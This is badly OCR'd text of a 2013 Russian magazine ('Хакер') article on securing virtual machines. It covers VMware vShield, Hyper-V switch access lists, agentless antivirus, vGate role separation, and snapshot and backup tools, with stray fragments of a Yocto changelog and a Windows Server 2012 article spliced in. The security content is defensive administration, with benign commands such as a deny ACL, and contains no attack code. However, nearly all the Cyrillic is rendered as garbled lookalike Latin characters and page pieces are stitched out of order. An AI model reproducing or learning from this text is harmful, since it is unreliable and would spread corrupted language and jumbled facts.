M3 HOBMHOK 1 yCOBEpLUEHCTBOBAHUA:

¢ Yocto autobuilder — Habop yTunut gns aBTo-
MaTU3MPOBAHHOIO TECTUPOBAHUS U OLEHKHM
KayecTBa NPOAYKTa;

®  WUCKJ/I0YEH 0 MH U3 3Tanos cbopku Kpocc-
TynyenHa;

® MOSABUICA CKPUNT ANS OTCNEXMUBAHUS BpeMe-
HU c60pKU KOMNOHEHTOB AUCTPUBYTUBA;

e B 3arpysuuke Grub BknloyeHa nogaepxka
UEFI;

e nnaruH ans Eclipse obHoBneH po Bepcum Juno.
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LLEHTPAJIN30BAHHOE

Co3paTb NpuBbIYHLIA Gapbep u3 paipsona, IDS/IPS 1 aHTuempyca

B BMPTYanM3nMpOBaHHON cpefie He BCErfa BO3MOXHO, MOCKOJIbKY MHO-
rve TpaauLMNOHHble CPeiCTBA 3aLUThl OPUEHTUPOBAHbI HA KOHTPOJIb
Tpaduka c GU3NYECKMX XOCTOB, @ AaHHbIe, KOTOPbIMU 06MeHMBatoTCS

BE30"ACHOCTM VM, ocTatoTcs Bns HUX «HeBUAUMbIMU». KpoMe Toro, camu VM Hepefiko

«nepeesxatnT» Ha apyroi xocT unn LLO[. KoHewHo, MOXHO ycTaHo-
FOCTEBbe CMCTEM BWTb MOJIHLIN 3aLMTHBIA KOMMNEKT Ha Kaxayto VM, Ho 3To Ha nopsfok

YCNOXHUT conpoBoxjeHve n ctoumocTb 10, He roBops yxe 0 ToM,

4TO AlaHHble B TakoM cyyae byayT aybnvposaTbcsa. Heckonbko VM,

3anyLleHHbIX Ha 0JHOM GU3NYECKOM CepBEpe, MMeIoT AOCTYM K O4HUM
Mhorve cneunanncTbl CHMTAtOT, 4TO BUPTYyan3a- 1 TeM e U3NYECKUM pecypcaM, YTo MopoXAaeT HoBble pucku. Bpe-

Lung un 0b61a4Hble TeEXHOOTUN CKOPO CTaHyT OCHO- BOHOChI MOTYT 3apaxaTb gaibl, ncnonb3yemble gpyrumm VM, n Takum
00pa30M NPOHMKaTb B 3TV CUCTEMbI UK NepexBaTbiBaTh Tpapuk

BOU |T-MHC|)paCprKTypr MX KOMMaHUW. AHannTUKu MeX/y BUPTYyanbHbIMWU MallMHaMK. NToSBUAKCH W crielnduyeckme aTa-
MOATBEPXAAI0T 3TO, NPOrHO3MPY4A, YTO Ka)K,D,bIVI ku. Tak, ownbka B BIOS'e MaTepuHckoit nnatsl Intel DA35J0 nossonu-

o 2015 6 na 060t 3aWnTy NnamMaTv runepem3opa Xen. CTONT TakxKe BCMOMHUTb
ceabmon fojinap B FOAYy OyAET MOoTPpadeH rPOMKMWI MHUMAEHT, KoTopbii npousowen B 2009 rogy, korga, ucnofb-

Ha BUPTyanan3auyuio. O,ELHaKO €CTb U COepPXNBato- 3ys yA3BMMOCTb B runepensope HyperVM, xakepbl yHuuTOXMUAN Bonee
wue bakTopbl, FMaBHbIN U3 KOTOPbIX — BOMPOC,

100 000 canTos xocTepa LXLabs.
Mo cpaBHEHUIO C TPAANLMOHHbBIMW CETAMM, B BUPTYasM3MPOBaHHOM
Kak obecne4ynTb be3onacHoCTb. cpefe npobnembl obecneyerHuns beaonacHoOCTU CUCTEM UMEIOT Apyrue
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HacTpoiika 3apaum B KoHconu Kaspersky Security Center

KOPHW, LOMKHbI PELUaTbCH MHAYe W MPU NOMOLLMW JPYrUX UHCTPYMeEH-
TOB. YunTbIBas pa3zHoobpasme runepenu3opoB u cnabyio U3yyeHHoCTb
npo6sieMbl, YHUBEPCANbHOTO PeLleHns HUKTO He Npefnaraet, KaxAblit
BEHAOP PEKOMEHAYEeT CBOW BapMaHT 3aLy1Thl, MO3MULMOHMPYS ero

Kak Haubonee npaBubHbIA. B HacTosilLee BpeMs 0CHOBHble pa3pa-
BOTKM BEAYTCA MO HECKOJIbKUM HanpasieHusM: obecneyeHune 3aWmThl
LIOZ,, ceTeBbIX NOAKOYEHWI N YCTPONCTB, paboTatowwmx ¢ cloud-
CepBuCaMK, a TakXXe NOArOTOBKA CTaHAAPTOB U PeKOMEHAALNNA.

3ALLWTA CETEBbIX MOAK/IIOYEHNN

YacTo 0fiMH XOCT COREPXKUT HECKOJIbKO 08HOTUMHBIX VM, noaTomy,
B3/10MaB OJHY M3 HUX, XaKep C JIErKOCTbI NOJTYYUT AOCTYM U K 0CTaslb-
HbIM. TpaAMLMOHHBIE CUCTEMBI 3aLLUThI, BPOAe bpaHaMayapa v ceTe-
Bo# IDS/IPS, oTcnexusaloT Tpadmk Mexay GU3NYECKUMMU CepBepamu,
4TO NOpoXAaeT Tak Ha3biBaeMbli Communication Blind Spots, korga
aAMUH HWYero He 3HaeT 06 0bMeHe AaHHbIMU MEXAY NPUNOXEHNAMM
1 VM. AkTuBaums danipBosa Ha KaXKLoM BUPTYasibHOM y3/1e MOXeT
noBsieyb 3a co60 cepbe3Hyo rofloBHY 6oNb Y afiMMUHa, MOCKONIbKY
CYyLLECTBEHHO BO3PACTET KOIMYECTBO HAaCTPoeK (3aaya 0CloXHAETCS
euie 1 TeM, 410 VM MoryT akTMBHO B3aMOAeNCTBOBaTL MeX Ay Cobon,
KpOMe TOro, Co BpeMeHeM OHW MOryT bbiTb NepeHeceHbl Ha fpyrou
cepsep). Pa3paboTuyuku cucTeM BUPTYann3aluum npeanaraiot cBom
BapWaHT — BUPTYyasibHble KOMMYTaTOpbl M OpaHAMayapbl, NpefocTaB-
NIieMble FUNepBU30POM, KOTOPbIE MO3BOJISIOT U30JIMPOBATH M KOHTpPO-
NMpoBaTh TPadUK pasHbIX KJIMEHTOB.

OpHa 13 nepBbIX TexHoNOrni 3awutsl roctesbix 0C, nossue-
Wasca B NpoAyKTaX NPOMbILWAEHHOr0 Kilacca, HOCUT Ha3BaHue
VMware vShield n cocTouT M3 HeCKONbKMX KOMMNOHEHTOB. Hanpumep,
koMnoHeHT vShield Zones peanusyeT dyHkLun dalipsona, cpesu
3a/la4y KOTOPOro KOHTPOJIMPOBATh BXOAALLMA U UCXOAALLMIA Tpa-
¢uk B cpege VMware vCenter (Bk/to4ast Tpaduk MexXay MaluHamu
B 04HON rpynne) n obecneynsatb 6a30Bylo 3aWMUTY OT CETEBbIX YrPO3.
PeweHwne noctpoeHo Ha ocHoBe Virtual Shield, koTopblit nepewen
Kk VMware BmecTe ¢ npuobpeterHoit B 2008 rogy komnanueit Blue
Lane Technologies (u3secTHa TeM, 4To 3aHMManack paspaboTkoit
cucTeM be3onacHoCTU Ans BUpTyanbHeix cpeg). Mpeacraenser co-
6o NpoMeXyTOYHbIN coit Mexay runepeusopoM ESXin rocteBbimMu
0C, peanunsoBaHHblii B BUAe agantepos VNIC Ha xocTe ESXi. Takoin
noAxof no3sonseT obecneynBaTb KOHTPOSb BCero Tpaduka, bes He-
obxofmmocTy B ycTaHoBKe areHToB Ha VM nnun OC. AgMuHucTpaTop
MOXET CO34aBaTh NONUTUKM, KOHTponupytowue IP/nopT uctounu-

Ka 1 Ha3HayeHus, npoTokon. B HacTosee Bpems vShield Zones
fBNSeTCA YacTbto bonee MowHoro pelweHus vShiled App, cnocobHoro
co3faBaTh Npasuia Ha ypoBHe npunoxenuii (Application Layer
Gateway) gnq 60M1bWOro YMcia NPOTOKONIOB, HabllofaTh 3a CeTeBO
akTuBHOCTbio VM, 3awuiate nepeMellaeMble C MOMOLLbIO TEXHO-

XAKEP 01/168/2013

Cnactun MaTpelek

L ——

f— — -~

[ucnetyep aBTOpPM3aLMM NO3BONIAET HA3HAYNUTb NPaBa yNpaBAeHUs AOCTYNOM K
NPUN0XKEHMIO Ha OCHOBE poriei

noruun vMotion BMpTyanbHble MallWHbl, CTPOUTb OTYETbI, YIPaBAATb
NOAUTMKAMU 1 MHOTOe Apyroe.

vShield Edge saBnseTcs bonee «rnobanbHbIM» NPOAYKTOM, OH 06e-
crneymBaeT KOMMEKCHYIO 3alWUTy nepuMeTpa flata-LeHTpa u uMmeeT
BO3MOXHOCTb U30A5LLMKN TpaduKa B ero npefenax Ha ypoBHe rpynn
noptoB. CoyeTaet B cebe firewall, VPN, DHCP, NAT, Load Balancing,
cbop cTaTUCTUKK 1 HeKOTOpbIe fpyrue GyHKLM.

KomnoHeHTbl VMware vShield nerko passopaynBatoTcs v noa-
nepxuBatoTcs Bcemu Bepcusimn VMware vSphere. LleHTpanu3oBaH-
HOe ynpaBnieHue obecneymBaeTcs npu nomolyun kKoHconu vShield
Manager, koTopas peanuzosaHa 8 Buae OVA-obpasa (VMware vCloud
Networking and Security). Mocne umnopTa 1 3arpysku VM cnegyet
3aperncTpMpoBaThCs U3 NI0KaNbHOM KoHCoNM [noruH «admin», naponb
«default») n HacTPONTL CeTb, BLIMOHNE [BE KOMaHAbI:

manager# enable
manager# setup

[lanee BBoanM no 3anpocy IP, ceTeBylo Macky, afpec Wwnio3a
n DNS-cepBepa, nocne 4yero nogkawyaemcs npu nomMoLym bpaysepa
no IP, hacTpanBaeM coefiunenne c vCenter Server u 3atem npasuna.

B peanusauuu ceteBoit nogcuctembl Hyper-V 3.0 Takxxe nosiBu-
JINCb COOTBETCTBYIOLLME KOMMOHEHTbI. Tak, BUPTyabHblit KOMMyTaTOp
Hyper-V Extensible Switch (goo.gl/sGu1Z) obecneynsaet npumeHeHue
nonnTuk B 0bnactu besonacHoctv VM, 3alinTy 0T HEKOTOPbIX aTak
(cnydunr MAC-agpeca, 6nokuposka HeasTopuszosaHHoro DHCP v Tak
Aaseel, N3019UMI0 M NPUOPUTU3ALMIO TPadUKa, METPUKM 1 MONCK He-
ncnpaBHocTen. MoXHO co3faBaTb BUPTYasbHbI CBUTY OAHOIO U3 TpeX
Tunos: External, Internal n Private.

KpoMe koHconu Hyper-V Manager, npefnoxeHbl MHCTPYMeHTbI
ynpasrienns Ha 6aze WMI v PowerShell. HaiiTn Bce KoMananeTbl MoX-
HO, BbIMOJTHMB 3anpoc:

PS> Get-Help *VMNetworkAdapter*

[To yMonyaHuio Bce coefiMHeHMs pa3pelleHbl, KoMaHgnet Add-
VMNetworkAdapterAcl no3Bonsiet 3agaBatb cnucku fgoctyna. Hanpu-
Mep, MOXHO 6110KMpoBaTh onpeAeneHHyto ceTb 4 cepeepa SRVO1:

PS> Add-VMNetworkAdapterAcl -VMName srveOl
-RemoteIPAddress 192.168.1.0/24 «
-Direction Both -Action Deny

OTkpbiTas apxuTekTypa Hyper-V, noanepxuBatollas pacluMpeHuns,

[aeT BO3MOXHOCTb CTOPOHHWUM pa3paboTynkaM co3faBaTb CPeAcTBa
KOHTpons Tpaduka u nepeappecaunu, punbtpsl GpaHamayapa.
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BecnnatHbi VeeamZIP no3Bonsiet pesepeupoBath Hyper-V u VMware

AHTUBUPYCHASA 3ALLINTA

Kak 1 npexpe, OAHUM W3 FIaBHbIX 3/1eMEHTOB 3alLUThl ABAKETCA aHTH-
BUMPYC, HO B cNlyyae ncnonb3oBanns VM ecTb cBon ocobeHHocTu. Tak,
yCTaHOBKa aHTUBMPYCHOr0 areHTa u cUrHaTypHbix 6a3 Ha kax gyt VM
MOXET MPUBECTU K NOBbILIEHHOMY UCMO0JIb30BaHUI0 Pecypcos (Tak Ha-
3bIBaEMbIN resource contention), TeM caMbiM CHUXKasi MPOM3BOANTE b~
HOCTb 0TAEeNbHOM VM 1 Bcero xocTa.

Hanpumep, areHTbl Ha HECKOJIbKUX CUCTEMaX MOTYT Of{HOBPEMEHHO
MHWLWMpOBATb NPOBEPKY UK 0bHoBNeHKe 6a3, curHaTypHble 6asbl
HauHyT BybnanpoBaTbCs, NpoBepke CTaHYT NOABEPraTbCs O HU U Te Xe
daiinbl. [lanee ycnoxHseTcs CONpoBOXAEHNE, Tak Kak TpebyeTcs oT-
CIeXXMBaTb COCTOSHWE 1 yNpaBAsaTb paboToi BCcex areHToB. Kpome Toro,
pellerus, npefnaraeMble 60bLINHCTBOM BEHA0POB, 3a4aCTyi0 UMetT
136bITOYHYI0 GYHKLMOHANBHOCTb, MOCKO/bKY BKOYaloT daiipBon, Beb-
3aLLMTY, KOHTPOJIb MPUNOXEHWI, aHTUCNaM 1 ToMy nofobHoe. Ing VM
B 60NbLUMHCTBE CUTYaLuii HeobxoLuM NpocTo aHTuBMpyc. C ToukK
3peHus NPOM3BOAUTENBHOCTY Hanbonee LenecoobpasHbiM peLleHu-
€M SBNSeTCS UHTErpaLus cucTeMbl 6e30MacHOCTY C TMNEPBU30POM
1 LeHTpasM30BaHHOeE ynpaBeHe paboToit aHTUBMPYCHOMO MPOAYKTa.
370 N03BONUT U3beXaTb U3NWLLHENA Harpy3Ku v Ay6NNpoBaHNS AaHHbIX,
NOJIHOCTbIO KOHTPONIMPOBaTh GaliNoBbIi U ceTeBOW 06MeH B BUPTyanu-
31pOBaHHOM cpefe.

VMware npepnaraet pa3pabotky vShield Endpoint, nossonstoyyto
VHTErpnpoBaTh aHTWBUPYCHOE PelleHne TpeTbUX GUPM, KOTOPOE,
paboTas Ha ypoBHe runepensopa, bypet obecneunBath 3aWmuTy
0C be3 ncnonb3oBaHUa areHTOB ¥ MUHUMaNbHO HarpyxaTb cepaep.
[Ons pocTtyna k VM ucnonb3yetcs cneyunanbHelii gpaiisep VMware
vShield Endpoint Thin Agent (BxoauT 8 kKoMnnekT VMware Tools).

0 noppepxke vShield Endpoint 3asBunu npaktuyecku Bce paspabot-
4MKyM aHTuBMpycHoro 0.

Hanpumep, Kaspersky Security ans suptyanbHbix cpeg (kaspersky.
ru/security-virtualization) nogaepxveaet TexHonoruio vShield
Endpoint 1 He TpebyeT ycTaHOBKM aHTUBMPYCHOTO areHTa Ha Kaxayto
VM (xoTa npu HeobxoaMMocTi MOXKeT BbITb MCMOb30BaH W areHT). Pe-
WweHune co3paHo Ha base SUSE Linux Enterprise Server u peanusoBaHo
B Buae OVA-obpasa. Bce pa3MelleHHble Ha XoCT-cepBepe BUPTYyalb-
Hble MalWuHbl, paboTatowve nog ynpasneHvem Windows, Ans aHtu-
BUPYCHOM MPOBEPKU MCMOMb3YIOT OAHO BUPTYasbHOE YyCTPOMCTBO, C KO-
TOpbIM COeIMHEHbI NOCPeACTBOM ApaiiBepa. [oaaepxusaeTcs ntoban
nepapxus: oTaenbHbI xocT ESXi, VMware vCenter Server, knactep
VMware, pecypcHblil nyn v Tak ganee. Obuiee ynpasneHue cucteMoi
3alnThl GU3MYECKUX U BUPTYasbHbIX CUCTEM, @ TaKXKe MOOUIIbHbIX
YCTPONCTB NPOU3BOAUTCS N3 eANHON KOHCONW aAMUHUCTPUPOBAHUS
Kaspersky Security Center. Mpo¢unu 3awnTbl N03BoNsHoT rbko Ha-
CTPOWTb NapaMeTpbl ANA Pa3HbIX BUPTYasbHbIX MaLLVH.

KoMnnekcHas cucTeMa 3awmTbl U3n4ecknx n BUPTYyasbHbIX Cpeq,
Trend Micro Deep Security paboTaeT kak ¢ ycTaHOBKOM areHToB, Tak

120

Co3paHue cHanwoTa VM B koHconu vSphere Client

1 6e3 HUX 1 N03BONAET peann3oBbiBaTb r’nbkue nonutnku. Cneyn-
aNnn3npoBaHHbIN «AHTUBMPYC U BUPTYaNbHbIN Gaipson ana Hyper-V»
(Snine.com) npefocTaBnsieT BO3MOXHOCTb KOHTPONIMPOBaTh, 60KM-
poBaTb ceTeBoM Tpaduk Mexay VM 1 ynpaBnsite UM, 0bHapyXuBaTh
aTakuW, CKaHMPOBATb CUCTEMbI, @ TAaKXe NPOU3BOAUTL ayANUT, MOHWUTO-
PVHT 1 NPOYMe MEPONpUATUS ANs ycuneHus besonacHocTy.

Vicnonb3oBaHue runepsusopa, ynpasnsioLlero coctosHnem VM,
no3BoNUT n3bexatb eLie ofHoM npobnembl — Instant-On. leno B ToMm,
yT0 cnswme OC 1 WwabnoHbl, N3 KOTOPbIX CO3[al0TCS HOBbLIE BUPTYalb-
Hble MaLlKHbI, CNYCTS HEKOTOpoe BpeMs He OyAyT COOTBETCTBOBaTb
TeKyLLMM HacTpoikaM be30nacHoCTy, B CBA3M C yCTapeBLUMMK Bep-
CUSIMM 6a3 1 0TCyTCTBMEM NOCNeAHUX 3annaTok. [lepuon obHoBNEHNS
[10 aKTYaNlbHOT0 COCTOSIHNA MOXET 3aHUMaTb Kakoe-To BpeMs, B Te-
YeHWe KOTOPOro NofobHbIe CUCTEMbI MOABEPXKEHBI PUCKY 3apaXKeHNs.
Mpu aToM nMetowmecs cuctembl obHoBnenni, spope WSUS, ymetot
paboTaTb TOILKO C 3aMyLieHHbIMY MaLHaMu. BoT npwu 3awuTe npo-
cHyBwuxcs/Hosbix OC 1 BbIpyYaeT UHTerpaums aHTMenpyca, obnagato-
Lero caMbIMu nocnegHUMK 6aszamu, ¢ rmnepBu3opoM. Takxke as od-
naitH-06HoBNEHUS 0CTaHOBNEHHbIX W cnawmnx VM 1 wabnoHos MOXHO
3afencTBoBaTh cneyunanbHble pelwenuns. Hanpumep, gns Hyper-V
MOXHO ncnonb3oBaTtb Microsoft Offline Virtual Machine Servicing
Tool, System Center Virtual Machine Manager 2012 u VMware Update
Manager. Kpome Toro, xopoluo cebs 3apekoMeHA0Bann MexaHn3Mmbl,
paboTatoLime No NPUHLMMY «BUPTYyanbHoro natya», — Virtual Patching
n Vulnerability Shielding, bnokupytoLime ya3BMMOCTb A0 BbIXOAA 0OU-
LManbHOro natya, ee ycTpaHsioLiero.

PA3I'PAHNYEHWNE OCTYNA

OTCyTCTBME YETKWX FPaHWLL B BUPTYaNM3MpoBaHHoi cpefe obycnas-
NMBaeT HeobX0AMMOCTb MOSHOLEHHOrO pa3rpaHuyeHns npas 4ocTyna
W aynuTa AeaTeNbHOCTH agMUHUCTpaTopoB/nonb3oBaTtenei. B ugeane
aAMUHUCTPATOP XOCTOBOW CUCTEMbI [JOJKEH yNpaBasaTb paboTol ToNb-
KO CBOEro CepBepa ¥ He UMeTb J0CTyNa K JaHHbIM FOCTEBbIX CUCTEM
n TeM 6onee He UMETb BOZMOXKHOCTYW YAaNNTb OAHWUM ABUXKEHWNEM BCe
VM. Bo MHOTUX peLleHnsiX BUpTyanu3aLnm yxe peann3oBaHa posesas
MOoJesb, MO3BONSIOLLAs TOHKO HAacTpouTb gocTyn. Hanpumep, VMware
vSphere npeanaraet 4OCTAaTO4YHO 3P PeKTUBHbBIE MHCTPYMEHTbI afAMU-
HUCTPUPOBAHMWS, MaKCUMaJlbHO CTaHAaPTU3MPYIOLLME U @aBTOMATU3NPY-
f0LLME OCHOBHbIE OnepaLuy (C Lenblo CHIKeHUS oWwnBOK ynpasaeHus),
CpefCcTBa ayTeHTUUKALMM W PONIEBYI0 MOAENb JOCTYNA, NO3BONSIO-
Liyto HAa3HaYUTb Heobxo[MMble NpaBa.

Ecnu aTMX Bo3MOXHOCTEN He XBaTaeT, MOXKHO 06paTUTLCS K crelmn-
ann3npoBaHHOMY CpPefiCTBY 3aLUNTbl BUPTYaNbHON MHHPACTPYKTY-
pbl, HanpuMep vGate R2 (Ha AaHHbI MOMEHT NOAAEPXMBAET TOBKO
VMware vSphere). Y1o6b1 06ecneunts 6e30MacHoCTb faHHbIX, B 3TOM
peLleHnn peann3oBaHbl iBe POJY CO CBOUMMU GYHKLIUAMU U BO3MOX-
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Iucnetyep Hyper-V no3sonset 6bicTpo cO3faTh CHUMOK

HOCTAMU: afiIMUHUCTPATOP BUPTYaNbHOM MHPPACTPYKTYPbI M aAMUHU-
cTpaTtop MHdopMaLMoHHoM besonacHocTu. vGate R2 nmeet cepTudu-
kaT OCT3IK, No3BONSIOLLMIA NPUMEHSATH 3TOT NPOLYKT B 3aLLMLLEHHbIX
cucTemax. PeanusoBaHa ycuneHHas ayTeHTUdMKaLMS afMUHNCTpa-
TOpoB, aBTOMaTMYeckas KoHGurypauus 6e3onacHocTy, npoBepka
LIeIOCTHOCTM HAaCTPOeK, MaHAaTHas MOAe b YpaBieHns LOCTyNoM
(Mpu KoTopo#t KaxAbli BypeT ynpasnsTs cTporo ceoumu VM), npasuna
pasrpaHuyeHus goctyna Ha ocHoe ACL v nopTos, 3awmTa cpeacTs
ynpaBsieHns, KOHTPOb LieNocTHOCTN VM 1 paclumperHblid ayauT co-
BbITUIA U MOHUTOPWHT.

CronT oTMeTuTb, 4T0 B OC Windows, HaunHas ¢ Bepcuu 2003,
peannsoBaH gucnetyep asTopusauuu (azman.msc), nozsonsiownii
Ha3HaynTb r’MbKWe NpaBa ynpasneHus JoCTYNOM K NPUNOKEHMNIO
Ha ocHoBe posieit. [ToANTUKW aBTOPU3aLWK, MPUMEHsSIEMbIe BO BPEMS
BbINOJIHEHNS, MOXHO XpaHnTb B AD, XML-daine n SQL-b6aze. Y1obbl
YyNPOCTUTL NMepBOHAYaNbHYI HACTPONKY, NPeaoXeH roTosbln XML-
daitn [nocne yctavoskm ponw nexut B C:\ProgramData\Microsoft\
Windows\Hyper-V\InitialStore.xml), KoTopbli HyHO MPOCTO MOAKI0-
4NTb B AUCNETYepe.

YT0o6bl 06eCneynTh JOCTYNHOCTb, 04EHb BaXXHO CO3JaBaTb Pe3epBHbIe
Konuu. Mcnonb3oBaHue BUPTYaNbHbIX MalUWH HaKNafblBAeT CBOM
ocobeHHOCTU, BeAb Yallle BCEro BNagenbla uHtepecyet umeHHo VM
LeJIMKOM, a He flaHHble MPUNOKEHUS, C KOTOPLIMY OH paboTaeT (oHw
pe3epBupYyOTCS TPAANLIMOHHBIM CNOCOBOM, 3feCh HMKaKMX 0CobeH-
HocTeil HeT).

Hanbonee npocTbIM pelieHneM sBASETCS CO34aHNE CHUMKOB.
«[MpaBunbHbI» CHUMOK paboTatoweit VM copepxut undopma-
umto B ToM yncne 13 03Y, N03TOMy B HEKOTOPbIX peLleHnsx Takue
CHUMKM Ha3biBaloT checkpoint'amu, 4Tobbl He NyTaTb C AUCKOBbLIMU
snapshot’'amu. Heobxogumbie dyHKLMM NpefocTaBaseT 60AbWMHCTBO
CPeACTB yNpaBsIeHNs r1nepBn3opoM, No3BoNsAs CO3AaTh CHUMOK
6e3 octaHoBku OC. Hanpumep, 4tobbl co3paTsh checkpoint B Citrix
XenServer, pocTtatoyHo BBeCTH «xe vm-checkpoint». lporpamMmsl
ynpasnenus, sBpoge vSphere Client unu Hyper-V, nossonsiot co3gatb
CHUMOK OJIHUM HaxaTueM Mbilku. Kpome Toro, ans 6akana 8 Windows
MOXHO MCMOMb30BaTh CUCTEMY apxuBaLuun. [lns aToro HeobxoAnMo
NVLWb 3aperucTpupoBaTb Mogynb 3anuck VSS Microsoft Hyper-V B cu-
cTeMe apxvBalLMy faHHbIX. Becb npouecc nogpobHo onncaH B pyko-
BoacTBe KB958662 (support.microsoft.com/kb/958662).

MpaBAaa, CHUMOK BosblUe NOAXOAUT BCE-TAKM AN KPATKOCPOY-
HbIX 3@y (HanpuMep, nepes HaKaTOM KPUTHUYECKNUX 06HOBEHUI),
no3Bosss B c/lyyae npobsem bbicTpo BepHyTh VM B paboTy. B 3aBucu-
MOCTW OT TEXHONOr UK pe3epBMPOBaHNS pa3Mep Takoro 6akana MoxeT
3aHMMaTb 06beM, conocTaBUMbIN ¢ pa3mepoM camoit VM, yto Tpebyet
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KoMMyTaTopa Hyper-
T V Extensible Switch
B MSDN: goo.gl/
sGu1z;

* Kaspersky Security
- ANS BUPTYanbHbIX
cpep: kaspersky.
ru/security-virtual-
ization;

« caifT Acronis Backup
& Recovery: acronis.
ru/backup-recovery;
* npouecc
perucTpauuu Mmoayns
3anucu VSS Microsoft
Hyper-V B cucteme
apXUBaLUM faHHbIX:
support.microsoft.
com/kb/958662.

Ckpunt HyperV Backup Tool ucnonb3yercs ans ropsyero
62kana u BocctaHoBnenus VM Ha 6ase Hyper-V

[0NOIHNTENBHOIO ANCKOBOr0 NPOCTPaHCTBa. A MOTOMY XenaTenbHo
NpPUMeHATL feAynanKaLmio nav cxaTtve. Ho rnaBHoe, 4To CHanwoT
Mo YMOMYaHWI0 CO3[jaeTcs Ha TOM e cepBepe, 4To 1 VM, a 3HayuT,
MOXeT OblTb TakXXe NOBpeXAeH Unu HepocTyneH. [MoaTomy ans kpu-
TUYECKM BaxHbIX VM X CHUMKM XenaTeslbHO COXPaHsATb Ha BHELLHWUNA
pecypc.

[TpMeHATL AN CONPOBOXAEHNS OHOIO UW IBYX CEPBEPOB Takue
cpeAcTBa ynpasneHus, kak System Center Virtual Machine Manager
nnu VMware vSphere, Heuenecoobpa3Ho, N03TOMy nonb3oBaTenu
MiwyT 6osee NpocTble MHCTPYMeHTbI. TlaTelbHO NOLEePCTUB UHTEPHET,
MOXHO nof0bpaTth cebe Hanbonee noaxoaaLMin BapmaHT. Hanpumep,
ansa VMware ESXi 3.5/4.x/5.x 3HTy3nactamu n3 komsioHut VMware
npensoxen Perl-ckpunt ghettoVCB [communities.ymware.com/docs/
DOC-8760). Ero ycTaHoBKa 04eHb NPocTa, JOCTAaTOYHO pacnakosaTh ap-
XUB M HacTpouTb aBTo3anyck Yepes cron u B ghettoVCB.conf napame-
Tpbl pe3epBuUpoBaHus (BCe 0HM xopollo pacnucansl). Mogaepxusaertca
akcnopT Ha pecypc NFS n otnpaBka e-mail 06 onepauum.

Ewe oguH npocToii B ucnonb3osanum ckpunt — HyperV Backup
Tool (sysadmins.ru/topic247352.html) — ucnonb3yetcs Ans ropsyero
63kana v BoccTaHoBneHns VM Ha 6ase Hyper-V. Mogaepxusaet niobyto
roctesyto OC, npotecTuposaH Ha Win2k8/R2. Mpobnem ¢ HUM HeT, ecnin
MOMHWTbL 06 yKa3aHHbIX orpaHuyeHusax: nogaepxka Tonasko VHD u oT-
CyTCTBME CXaTus.

B cTopoHHMX pelleHusix, BEposTHO, NoTpebyeTcs ycTaHOBKa areHTa
B xocTOBYto unu roctesyt OC. Hanpumep, Takas cxeMa peanusoBaHa
8 Acronis Backup & Recovery 11.5 Virtual Edition (acronis.ru/backup-
recovery), npefnaralouieM BO3MOXHOCTb B3Kana, BOCCTaHOBJIEHUS
BUpTYyanbHbix cucteM Hyper-V, RHEV, Citrix XenServer, Parallels
Server Bare Metal, a Takxxe Murpauum Ha ntobyto 13 yKasaHHbIX
nnatgopm. [1ns pasHbix runepBM3opoB peain3oBaHa CBOS CXeMa
C03[,aHWs Pe3€epBHbIX KOMWIA: areHT yCTaHaBANBAETCs B XOCTOBYH WK
roctesble cucTeMbl. [logaepxusaeTtcs geaynnukauuns, cxatue obpasa,
HaCTpOMKa UCKJII0YEHMI, COXpaHeHu e Ha yaaneHHbin pecypc (gucko-
Bble M CMeHHble ycTpoicTea, SMB/FTP/NFS, neHTouHble ycTpoicTBa)
¥ Npoyne NpUBbIYHbIE A5 MPOAYKTOB Acronis GyHKLUM.

Takxe cnepyeT 06paTUTh BHUMaHWe Ha NPOAYKLMIO KOMMNaHWK
Veeam Software (veeam.com/ru). Cpefn npounx peleHnii oHa npes-
flaraeT MpocToi B UCnofib30BaHun 1 becnnatHblii VeeamZIP (Veeam
Backup Free Edition ansa VMware u Hyper-V), koTopbiit nossonset
Ha neTy co3faBaTb pe3epBHble Konun VM nav oTaeNbHbIX KaTanoros
n dalinos, NoAAepKNBAET CXKaTe U AefynnvkaLnio ganHbix. C ero
MOMOLLbI0 MOXXHO BOCCTAHOBUTb He TOJIbKO BClO VM, HO 1 oTAesbHble
daiinbl. PeannszosaHo ynpassieHve npy noMoLLu rpapuyeckoit KoHconu
1 komaHanetos PowerShell. Kctatu, VeeamZIP nobeaunn 8 HoMUHaLum
«Jlyqwmnin becnnaTHbIM NPOAYKT» Ha MeXYHapOAHOW KOHpepeHL M
VMworld 2012. 2C
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OB30P MOJIE3HbIX,
HO MAJIOU3BECTHbIX
OYHKLUU WINDOWS
SERVER 2012

\ ¢
A |

B Win2012 npeacTaBneHo MHOMO HOBbIX MOJ1e3HbIX
BO3MOXHOCTeW, OfHAKO 3a4acTyo NpodunbHbIe
KHWIM 1 0630pbl pacCKa3sblBatloT TOJIbKO

0 CaMbIX OCHOBHbIX — TeX, KOTOPble HaX0AATCS
HEenocpeLCTBEHHO Ha MOBEPXHOCTU. Mexay Tem
HeKoTopble duyK, No3BoNSAOLME HA NOPSFOK
yNpOCTUTb HAaCTPOKY M caenath paboTy afMuHa
NPOAYKTUBHEE, NMPOXOAAT HE3aMEYEHHbIMM.

PABOTA C KOHCOJIbHO POWERSHELL 13 BPAY3EPA

Obonoyka PowerShell cHuckana orpoMHyto NonynspHOCTb CPEAN CUCTEMHBIX
afMUHUCTPaTopoB biarofaps ToMy, YTO C ee NOMOLLbI0 MOXXHO aBTOMa-
TM3MPOBaThb HOMTLLLMHCTBO 3afa4 1 BbIMONHATL KOMaHb! yaaneHHo cpasy

Ha HeCKosIbKUX cucteMax. Ho gns pabotbl Tpebyetcs PS-koHconb, a B BeK
MNaHLLIETHUKOB M CMapTGOHOB 3TO Cepbe3Hbii HefocTaTok. B Win2012
nosiBUACS HOBbI KoMnoHeHT PowerShell Web Access, npegoctaensio-

LM BO3MOXKHOCTb YNPaBAsiTb CBOUMM CUCTEMaMM NpaKTUYecKy ¢ nioboro
YCTPOWCTBa, BBOAS KOMaHAbl NpsiMo B Beb-6pay3epe. KoMMoHeHT npescTtas-
nsieT coboli LWko3, peann3oBaHHbIN B BUae Beb-npunoxerus |1S. Tpebosa-
HWS K KITMEHTCKOW CTOPOHE BeCbMa MPOCTbI: bpay3ep [o/KeH NoAAEPXMBaTh
JavaScript 1 npuHMMaTh nntoWKK. B cnvicke oduLmanbHo NoaaepK1BaEMbIX
6pogmnok IE Bepcun 8.0 u Boiwe, Firefox, Google Chrome, Apple Safari,
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PekoMeHpauum

0 HacTpoiiKe WNI03a
PowerShell Web
Access MOXHO HaiTK
B daine C:\Windows\
Web\PowerShell-
WebAccess\www-
root\README.txt.

B Win2012

YXe He HYXHO
